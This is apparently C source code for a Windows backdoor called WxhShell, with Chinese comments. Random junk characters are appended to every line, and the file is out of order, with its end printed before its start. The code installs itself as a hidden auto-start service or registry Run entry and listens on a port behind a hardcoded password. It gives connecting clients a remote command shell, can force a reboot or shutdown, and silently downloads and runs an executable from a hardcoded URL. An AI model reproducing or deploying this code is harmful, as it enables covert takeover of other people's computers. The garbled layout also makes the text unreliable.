    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )SZt If  
    else { !dB {E  
    closesocket(wsh); -;_`>OU{  
    ExitThread(0); y@[}FgVOh  
    } .$+]N[-=  
    break; *>!O2c  
    } P"0S94o:5J  
  // 获取shell :mLcb. E  
  case 's': { ;crQ7}k  
    CmdShell(wsh); s z  
    closesocket(wsh); c[ ]_gUp8  
    ExitThread(0); 9l2,:EQ*  
    break; u2 a U0k:  
  } ~<Z;)e  
  // 退出 Uw^`_\si  
  case 'x': { *vFVXJo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vCT5do"C&  
    CloseIt(wsh); cZKK\hf<  
    break; )W)m?%  
    } Q[^IX  
  // 离开 }l&Uh &B`  
  case 'q': { kf+]bV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2?ac\c6"  
    closesocket(wsh); Ei2Y)_   
    WSACleanup(); 98h,VuKVaB  
    exit(1); 'EJ8)2  
    break; $$~x: iN  
        } O{a<f7 W  
  } N-|E^XIV  
  } !s#25}9zX5  
FR9qW$B  
  // 提示信息 AEx I!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kA?a}   
} [H z_x(t26  
  } ]&\HAmOQS  
C{!L +]/  
  return; V %'`nJ!  
} QlJ cj+_h  
1eQ9(hzF  
// shell模块句柄 RvKP&  
int CmdShell(SOCKET sock) ?D-1xnxep  
{ jW*|Mu>2  
STARTUPINFO si; J]/TxUE  
ZeroMemory(&si,sizeof(si)); p C l[DE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \"B?'Ep;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;LE4U OK  
PROCESS_INFORMATION ProcessInfo; dt(~)*~R  
char cmdline[]="cmd"; !!Z#'Wq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CI"7* z_  
  return 0; =gS?atbX  
} ~K}iVX  
n/#zx:d?  
// 自身启动模式 :+{G|goZ*  
int StartFromService(void) exw~SvT3  
{ _O)xE9t#ru  
typedef struct |niYN7 17  
{ Z"PPXv-<jY  
  DWORD ExitStatus; eznt "Rr2  
  DWORD PebBaseAddress; xF: O6KL  
  DWORD AffinityMask; ifj%!*   
  DWORD BasePriority; d4KT wn5g  
  ULONG UniqueProcessId; w>Iw&US  
  ULONG InheritedFromUniqueProcessId; .zQ:u{FT  
}   PROCESS_BASIC_INFORMATION; DhZuQpH  
1O@ qpNm  
PROCNTQSIP NtQueryInformationProcess; *I6z;.#  
Jb~$Vrdy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0JzH dz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #\s*>Z  
|{ W4JFKJ  
  HANDLE             hProcess; rD=8O#m g  
  PROCESS_BASIC_INFORMATION pbi; YoyJnl.?u  
~!UC:&UKo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z`x|\jI  
  if(NULL == hInst ) return 0; MB.\G.bV  
a(AKVk\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  [U9b_`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -^sW{s0Rc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < kyT{[e+6  
9A_{*E(wd  
  if (!NtQueryInformationProcess) return 0; &*2\1;1tB  
Z9 X<W`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n@5Sp2p  
  if(!hProcess) return 0; 1o"/5T:S[  
*D`]7I~}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u=_"* :}  
yg({g "  
  CloseHandle(hProcess); q#LB 2M  
{UqSq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <0lXJqd  
if(hProcess==NULL) return 0; (Z:(f~;  
8vQGpIa,  
HMODULE hMod; ;:<z hO  
char procName[255]; S&/</%  
unsigned long cbNeeded; |OW/-&)  
t^ _0w[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YywiY).]@  
@ig'CF%(  
  CloseHandle(hProcess); [5[}2 B_t  
be&5vl  
if(strstr(procName,"services")) return 1; // 以服务启动 Zop3[-  
VnlgX\$}  
  return 0; // 注册表启动 NUxOU>f  
} 'Br:f_}  
s P=$>@3  
// 主模块 ]5(T{  
int StartWxhshell(LPSTR lpCmdLine) UI:YzR  
{ Skb,cKU  
  SOCKET wsl; 2_S%vA<L  
BOOL val=TRUE; lT.Q)(  
  int port=0; BdW Rm=  
  struct sockaddr_in door; C]@v60I  
}"} z7Xb0  
  if(wscfg.ws_autoins) Install(); nsT]Yxo%M  
,m4M39MWJ  
port=atoi(lpCmdLine); s |40v@ M  
oZM6%-@qi  
if(port<=0) port=wscfg.ws_port; \VY!= 9EV  
* SAYli+@  
  WSADATA data; l>(w]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3C:!\R  
+SM&_b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mT]+wi&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3k%fY  
  door.sin_family = AF_INET; Mn)>G36(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B#o/3  
  door.sin_port = htons(port); 8(AI|"A"-  
fj 14'T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [_$r-FA  
closesocket(wsl); T/[8w  
return 1; V)pn)no'V  
} O"'.n5>:`  
G,jv Mb`+  
  if(listen(wsl,2) == INVALID_SOCKET) { #=}dv8  
closesocket(wsl); @ve4rc/LI  
return 1; `zRE$O  
} tQ:g#EqL9B  
  Wxhshell(wsl); ^*6So3  
  WSACleanup(); ]'L#'"@  
4=; . <  
return 0; bHJKX>@{  
"ITC P<+  
} t^8 ii  
D]n"`< Ho  
// 以NT服务方式启动 tEU}?k+:j)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E?VPCx  
{ L9lNAiOH  
DWORD   status = 0; 7@[HRr  
  DWORD   specificError = 0xfffffff; X2RM*y|  
 <>|&%gmz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *qX!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dkHye>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tQ,,krw~  
  serviceStatus.dwWin32ExitCode     = 0; r>>4)<C7J  
  serviceStatus.dwServiceSpecificExitCode = 0; 7o+JQ&fF;  
  serviceStatus.dwCheckPoint       = 0; gY\g+df-  
  serviceStatus.dwWaitHint       = 0; FW~{io]n  
d9j+==S <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DH@]d0N  
  if (hServiceStatusHandle==0) return; # NoY}*  
)aV\=a |A  
status = GetLastError(); NmH1*w<A  
  if (status!=NO_ERROR) G}2DZ=&>'  
{ P#0U[`ltK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /~8<;N>,+  
    serviceStatus.dwCheckPoint       = 0; `:aml+  
    serviceStatus.dwWaitHint       = 0; S= NGJ 0  
    serviceStatus.dwWin32ExitCode     = status; 3Y;<Q>roT  
    serviceStatus.dwServiceSpecificExitCode = specificError; %OV)O-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~PTqR2x  
    return; a/ 4!zT   
  } A^%li^qz  
nfldj33*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]_hrYjX;  
  serviceStatus.dwCheckPoint       = 0; GKk> ;X-  
  serviceStatus.dwWaitHint       = 0; 0\y{/P?I$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lddk:u&J  
} bG|aQ2HW  
51)Q&,Mo#  
// 处理NT服务事件,比如:启动、停止 !{WIN%O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P3W<a4 ==  
{ San=E@3}v!  
switch(fdwControl) ].!^BYNht  
{ nt5x[xa  
case SERVICE_CONTROL_STOP: cn3F3@_"\  
  serviceStatus.dwWin32ExitCode = 0; + Cf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x!i(M>P  
  serviceStatus.dwCheckPoint   = 0; ./KXElvQ%  
  serviceStatus.dwWaitHint     = 0; %XQ!>BeE  
  { NDqvt$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yu~o9  
  } <'N(`.&3C  
  return; H}p5qW.tH:  
case SERVICE_CONTROL_PAUSE: k$NNpv&;d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y-1!@|l0:6  
  break; 1Z$` }a  
case SERVICE_CONTROL_CONTINUE: MB"TwtW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c*@#0B  
  break; v 0 3  
case SERVICE_CONTROL_INTERROGATE: O/N@ Gz[g%  
  break; {!/ha$(  
}; $GI jWlAh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lG>,&(  
} O^L#(8bC  
j{`C|zg  
// 标准应用程序主函数 rYP72<   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [2l2w[7Rid  
{ zT< P_l  
#J): N  
// 获取操作系统版本 lR8Lfa*/7  
OsIsNt=GetOsVer(); !VzbNJ&'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K!cLEG!G  
,SQ`, C _5  
  // 从命令行安装 ib,BYFKEW  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ZuFMVR  
q-lejVS(g  
  // 下载执行文件 c2o.H!>  
if(wscfg.ws_downexe) { F3Y/Miw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qrw"z iW  
  WinExec(wscfg.ws_filenam,SW_HIDE); qtI42u{  
}  L#>^R   
Fs}vI~}  
if(!OsIsNt) { 'Y;M%  
// 如果时win9x,隐藏进程并且设置为注册表启动 v|K'M,E  
HideProc(); =U- w!uW  
StartWxhshell(lpCmdLine); 0LW|5BVbIO  
} [WXa]d5Y  
else +k<0: Fi  
  if(StartFromService()) P =jRof$  
  // 以服务方式启动 8rEUZk  
  StartServiceCtrlDispatcher(DispatchTable); 7J6D wh{  
else 4b/>ZHFOF;  
  // 普通方式启动 >DSD1i+N  
  StartWxhshell(lpCmdLine); 9ZVzIv(   
t"Tv(W?_  
return 0; TaqqEL  
} 9[@K4&  
E/:mO~1< c  
v\}s(X(J  
3X>x`  
=========================================== DN0`vl{*  
D9 \!97  
\\d!z-NOk?  
,CED%  
NQu .%=  
QMQ\y8E  
" H)rE-7(f!  
=&,<Co1hF  
#include <stdio.h> ;%`oS.69  
#include <string.h> 98ot{+/LK  
#include <windows.h> AbA_s I<;  
#include <winsock2.h> Muay6b?  
#include <winsvc.h> NfsF'v  
#include <urlmon.h> 30fqD1_{  
jV 98 2Y  
#pragma comment (lib, "Ws2_32.lib") jnzOTS   
#pragma comment (lib, "urlmon.lib") sBq6,Iu  
*u ^mf~  
#define MAX_USER   100 // 最大客户端连接数 rUxjm\  
#define BUF_SOCK   200 // sock buffer +zL|j/q?  
#define KEY_BUFF   255 // 输入 buffer W20H4!G  
jxdX7aik  
#define REBOOT     0   // 重启 Yj{-|2YzL  
#define SHUTDOWN   1   // 关机 T)lkT?  
h#~\-j9>  
#define DEF_PORT   5000 // 监听端口 m4_ZGjmJM  
jzb%?8ZJ  
#define REG_LEN     16   // 注册表键长度 w^Atd|~gi  
#define SVC_LEN     80   // NT服务名长度 ttd ^jT  
MG-#p8  
// 从dll定义API k}hTSL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "STd ;vR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R|'ftFebB.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OSY.$$IO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }MIg RQ9  
a\ZNNk  
// wxhshell配置信息 SSn{,H8/j  
struct WSCFG { =OamN7V=  
  int ws_port;         // 监听端口 vJ9IDc|[  
  char ws_passstr[REG_LEN]; // 口令 77H"=  
  int ws_autoins;       // 安装标记, 1=yes 0=no yN{TcX  
  char ws_regname[REG_LEN]; // 注册表键名 B*OBXN>'P  
  char ws_svcname[REG_LEN]; // 服务名 SQ la]%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3,yzRb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {v}BtZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ESmWK;7b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :x3"Cj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BF/l#)$yK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y6RbRcJw  
b_w(F_0  
}; &cZl2ynPi  
+lw8YH  
// default Wxhshell configuration k"F\4M  
struct WSCFG wscfg={DEF_PORT, ]{ir^[A6  
    "xuhuanlingzhe", XsGc!  o  
    1, Oh5aJ)"D  
    "Wxhshell", G]zyx"0Sqb  
    "Wxhshell", #+8G`  
            "WxhShell Service", dLbSvK<(I  
    "Wrsky Windows CmdShell Service", V*gh"gZ<  
    "Please Input Your Password: ", ;T :]?5W!  
  1, 9xOTR#B:_V  
  "http://www.wrsky.com/wxhshell.exe",   bKt4  
  "Wxhshell.exe" "sYZ3  
    }; ihd^P]  
Z '~Ie~  
// 消息定义模块 )Wy:I_F351  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; heScIe N^`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s)G?5Gz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^{a_:r"  
char *msg_ws_ext="\n\rExit."; t!\B6!Fo  
char *msg_ws_end="\n\rQuit."; k:8NOx|s"  
char *msg_ws_boot="\n\rReboot..."; /vs79^&  
char *msg_ws_poff="\n\rShutdown..."; (,D:6(R7t  
char *msg_ws_down="\n\rSave to "; 5Z`f .}^w  
4 q\&Mb3  
char *msg_ws_err="\n\rErr!"; ^s\T<;  
char *msg_ws_ok="\n\rOK!"; YySo%\d  
9qvl9,*g  
char ExeFile[MAX_PATH]; *tfD^nctO  
int nUser = 0; 1 %8JMq\  
HANDLE handles[MAX_USER]; ?2,{+d |  
int OsIsNt; p8j*m~4B  
O9rA3qv B  
SERVICE_STATUS       serviceStatus; S0`u!l89(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F+!9T  
N@X(YlO  
// 函数声明  'Pxq>Os  
int Install(void); -""(>$b 2  
int Uninstall(void); #gVWLm<  
int DownloadFile(char *sURL, SOCKET wsh); EHK+qrym  
int Boot(int flag); beB3*o  
void HideProc(void); $LVzhQlD  
int GetOsVer(void); iK!FVKi}  
int Wxhshell(SOCKET wsl); qRHT~ta-?  
void TalkWithClient(void *cs); L{oG'aK4  
int CmdShell(SOCKET sock); "^)GnK +-  
int StartFromService(void); *fz#B/ _o  
int StartWxhshell(LPSTR lpCmdLine); @w;$M]o1  
7CH.BY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5fRrd;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^SK!? M  
fL*+[v4  
// 数据结构和表定义 m\70&%v  
SERVICE_TABLE_ENTRY DispatchTable[] = Bg}l$?S  
{ MRg Ozg  
{wscfg.ws_svcname, NTServiceMain}, R{ udV  
{NULL, NULL} zB/VS_^^W:  
}; DF UTQ:N  
@$iZ9x6t  
// 自我安装 56 Z  
int Install(void) al9( 9)  
{ T 2_iH=u  
  char svExeFile[MAX_PATH];  3Yo)K  
  HKEY key; -9;?k{{[T  
  strcpy(svExeFile,ExeFile); +o):grWvQ  
T+B8SZw#}!  
// 如果是win9x系统,修改注册表设为自启动 : dNJ2&kJ  
if(!OsIsNt) {  v7Ps-a)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yFS{8yrRUU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RAnF=1[v  
  RegCloseKey(key); Xvoz4'Gme  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.6pfL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yPY{ZADkQ  
  RegCloseKey(key); f( Dtv  
  return 0; EJRkFn8XG'  
    } R$66F>Jz^  
  } <EcxNj1  
} |,~ )/o_R  
else { ALcPbr  
O&&_)  
// 如果是NT以上系统,安装为系统服务 C/H;|3.X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y. 1F@w|  
if (schSCManager!=0)  UO#`Ak  
{ @rA V;D%  
  SC_HANDLE schService = CreateService #ti%hm  
  ( #v xq|$e  
  schSCManager, KR%WBvv   
  wscfg.ws_svcname, XD|g G  
  wscfg.ws_svcdisp, .(.<  
  SERVICE_ALL_ACCESS, 6 h,!;`8O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~IjID  
  SERVICE_AUTO_START, (.V),NKG  
  SERVICE_ERROR_NORMAL, kaB4[u  
  svExeFile, A;RV~!xx  
  NULL, D\9-/ p  
  NULL, xk% 62W  
  NULL, (IVhj^dQm  
  NULL, matna  
  NULL ,!^5w,P:   
  ); xlu4  
  if (schService!=0) ,NS*`F[O  
  { "O<ETHd0  
  CloseServiceHandle(schService); kDWEgnXK,v  
  CloseServiceHandle(schSCManager); cPNc$^Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J;8 d-R5  
  strcat(svExeFile,wscfg.ws_svcname); X_hDU~5{wC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CssE8p>"F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z<vh8dNl  
  RegCloseKey(key); SnQT1U%  
  return 0; v /c]=/  
    } tLa%8@;'$  
  } `>)Ge](oN  
  CloseServiceHandle(schSCManager); y"q>}5  
} {#k[-\|;  
} 2*V[kmD/3  
p ZTrh&I]  
return 1; -R:_o1"  
} ?V^7`3F  
R8Vf6]s_  
// 自我卸载 ()l3X.t,$  
int Uninstall(void)  Q}L?o  
{ "O4A&PJD  
  HKEY key; SI+Uq(k  
kt978qfk  
if(!OsIsNt) { q_h (D/g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` z0q:ME  
  RegDeleteValue(key,wscfg.ws_regname); V9BW@G@9  
  RegCloseKey(key); J4"Fj, FS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KZw~Ch}b9  
  RegDeleteValue(key,wscfg.ws_regname); JN|6+.GG  
  RegCloseKey(key); 5z!$=SFz  
  return 0; XAU%B-l:  
  } \}?X5X>  
} M>]A! W=  
} sE6>JaH  
else { | :-i[G?n  
Wjw ,LwB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ptv'.<-  
if (schSCManager!=0) 1^}I?PbqV  
{ k~"E h]38  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {}$7Bp  
  if (schService!=0) _xp8*2~-  
  { -{xk&EB^$5  
  if(DeleteService(schService)!=0) { F+V!p4G  
  CloseServiceHandle(schService); .+/d08]  
  CloseServiceHandle(schSCManager); TQF+aP8[L  
  return 0; n|~y >w4  
  } :x*)o+  
  CloseServiceHandle(schService); Go)$LC0Mi  
  } xV)[C )6  
  CloseServiceHandle(schSCManager); ZNX38<3h  
} |1~n<=`Z  
} ecghY=%  
3 !@  
return 1; kt/,& oKI  
} 20;9XJmjl  
(90/,@6 6l  
// 从指定url下载文件 hw^&{x  
int DownloadFile(char *sURL, SOCKET wsh) aixX/se  
{ WEimJrAn  
  HRESULT hr; qz-QVY,  
char seps[]= "/"; 9{toPED  
char *token; Q5+1'mzAB  
char *file; hy5[ L`B  
char myURL[MAX_PATH]; 7Q}pKq]P  
char myFILE[MAX_PATH]; +3)r szb72  
tJ\ $%  
strcpy(myURL,sURL); ysW})#7X  
  token=strtok(myURL,seps); d~LoHp  
  while(token!=NULL) K3yQ0k |  
  { 5X)8Nwbc  
    file=token; )>iOj50n3  
  token=strtok(NULL,seps); D@O `"2  
  } E(jZ Do  
H3A$YkK [  
GetCurrentDirectory(MAX_PATH,myFILE); oJ74Mra  
strcat(myFILE, "\\"); b2m={q(s  
strcat(myFILE, file); w&p+mJL.  
  send(wsh,myFILE,strlen(myFILE),0); `^bP9X_a  
send(wsh,"...",3,0); %71i&T F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); utlr|m Xc  
  if(hr==S_OK) ! _S#8"  
return 0; =@HS  
else !6!)H8rX  
return 1; Re$h6sh  
?d7,0Ex P  
} zBF~:Uc`B  
Bm$|XS3cD  
// 系统电源模块 U'fP  
int Boot(int flag) $|N6I  
{ XUqorE  
  HANDLE hToken; z*\_+u~u  
  TOKEN_PRIVILEGES tkp; (2g a: }K  
2HE@!*z9H  
  if(OsIsNt) { AkhG~L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bn}woyJdx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AI|vL4*Xd  
    tkp.PrivilegeCount = 1; m{\ & k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;*A'2ymXUT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tW\yt~q,  
if(flag==REBOOT) { Ez3fL&*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I652Fcj  
  return 0; .WSyL  
} u,^CFws_  
else { FY1iY/\Cn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B `(jTL  
  return 0; b9b Ivjm_  
} EL 5+pt  
  } 2~4:rEPJ:  
  else { /0s1;?  
if(flag==REBOOT) { A;oHji#*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3:J>-MO  
  return 0; #N|\7(#~u  
} &V].,12x  
else { aJu&h2 G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iC"iR\Qu  
  return 0; "Xq_N4  
} dWAt#xII  
} ~Amq1KU*Z  
>jm(2P(R   
return 1; /bo}I-<2  
} 6Yu:v  
,81%8r  
// win9x进程隐藏模块 X1j8tg  
void HideProc(void) VYk:c`E  
{ OVg&?fiP  
<b 5DX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d"wA"*8~y  
  if ( hKernel != NULL ) ?nU<cxh  
  { YQMWhC,8hy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ak'=l;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I^NDJdxd  
    FreeLibrary(hKernel); KC/O EJ`  
  } 9LR=>@Z  
i]8O?Ab>?  
return; Uh }PB3WZ  
} FI.te3i?7  
at uqo3  
// 获取操作系统版本 I)HO/i 6>3  
int GetOsVer(void) &:&'70Ya  
{ Knwy%5.Z  
  OSVERSIONINFO winfo; /%@;t@BK4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D An2Pqf  
  GetVersionEx(&winfo); -/f$s1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =L W!$p  
  return 1; uibmQ|AQ  
  else I8xdE(o8+  
  return 0; o[Iu9.zJpy  
} z^bS+0S5x!  
e@D_0OZ  
// 客户端句柄模块 !~#zd]0x;  
int Wxhshell(SOCKET wsl) MN?aPpr>  
{ >pq~ &)^u  
  SOCKET wsh; sd%j&Su#4  
  struct sockaddr_in client; tv#oEM9esl  
  DWORD myID; qTsy'y;Z  
b:==:d:0s  
  while(nUser<MAX_USER) O( ^h_  
{ xo>0j#  
  int nSize=sizeof(client); p-4$)w~6i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;1k& }v&  
  if(wsh==INVALID_SOCKET) return 1; 6tKrR{3#A  
Gwd38  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O}M-6!%<,  
if(handles[nUser]==0) aOD h5  
  closesocket(wsh); (W}F\P  
else AtQ.H-8r  
  nUser++; oE ' P  
  } 3h7RQ:lUi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y'U1=w~E  
jTa\I&s,A  
  return 0; fyQOF ItM  
} OBi(]l}^O  
wQ33Gc  
// 关闭 socket 8(1*,CJQg  
void CloseIt(SOCKET wsh) 1!z{{H;W  
{ ifD WN*k6  
closesocket(wsh); Oeh A3$|#  
nUser--; BH:A]#_{  
ExitThread(0); ocGrB)7eD  
} ^/C\:hw  
h/EIFve  
// 客户端请求句柄 <>HtXn/  
void TalkWithClient(void *cs) ng}C$d . I  
{ .S//T/3O]Q  
P< OH{l  
  SOCKET wsh=(SOCKET)cs; j iKHx_9P  
  char pwd[SVC_LEN]; q T6y&  
  char cmd[KEY_BUFF]; Ema[M5$R  
char chr[1]; 'K7\[if{  
int i,j; :\^b6"}8  
DNGyEC  
  while (nUser < MAX_USER) { qPDNDkjDD  
|Y3w6!$  
if(wscfg.ws_passstr) { 78l);/E{v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p9"dm{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QuR} 6C  
  //ZeroMemory(pwd,KEY_BUFF); t3)6R(JC  
      i=0; [Hh*lKg  
  while(i<SVC_LEN) { 1KZigeHXI  
2 7)If E  
  // 设置超时 5]&sXs  
  fd_set FdRead; 'I,a 29  
  struct timeval TimeOut; ?t 'V5$k\  
  FD_ZERO(&FdRead); u+8"W[ZULq  
  FD_SET(wsh,&FdRead); k8?._1t  
  TimeOut.tv_sec=8; m7^f%<l  
  TimeOut.tv_usec=0; 2;gvo*k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j|KDgI<0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  \ ca<L  
8UU L=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ar<5UnT  
  pwd=chr[0]; t?"(Zb  
  if(chr[0]==0xd || chr[0]==0xa) { p7QZn.,=u  
  pwd=0; I8XP`Ccq  
  break; UF-&L:s[  
  } Lg<h54X  
  i++;  qNJc*@s  
    } @T^FOTW  
,8r?C!m]  
  // 如果是非法用户,关闭 socket YYpC!)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~u&gU1}  
} 7"!`<5o^  
]@ruizb8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hs)Cf)8u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :\[l~S  
sJZ2e6?n  
while(1) { y'm!h?8  
uXc;!*  
  ZeroMemory(cmd,KEY_BUFF); 4'z)J1M  
l qfTF  
      // 自动支持客户端 telnet标准   loIb}8  
  j=0; X\`']\l  
  while(j<KEY_BUFF) { +ydd"`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (tYZq86`  
  cmd[j]=chr[0]; %tP*_d:  
  if(chr[0]==0xa || chr[0]==0xd) { p q`uB  
  cmd[j]=0; Mz&/.A  
  break; joI)6c  
  } *k7BE_&*0Z  
  j++; Qa,=  
    } Nf([JP% 4  
!'H$08Ql}  
  // 下载文件 wF`Y ,@  
  if(strstr(cmd,"http://")) { HThZ4Kg+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :&wb+tV  
  if(DownloadFile(cmd,wsh)) #csP.z3^y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >eA@s}_8  
  else @ZU$W9g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6C2~0b   
  } N" L&Z4Z  
  else { Os<E7l zqO  
b=r3WkB6  
    switch(cmd[0]) { p XXf5adl<  
  GqHW.s5  
  // 帮助 {R ),7U8  
  case '?': { -{0Pq.v  
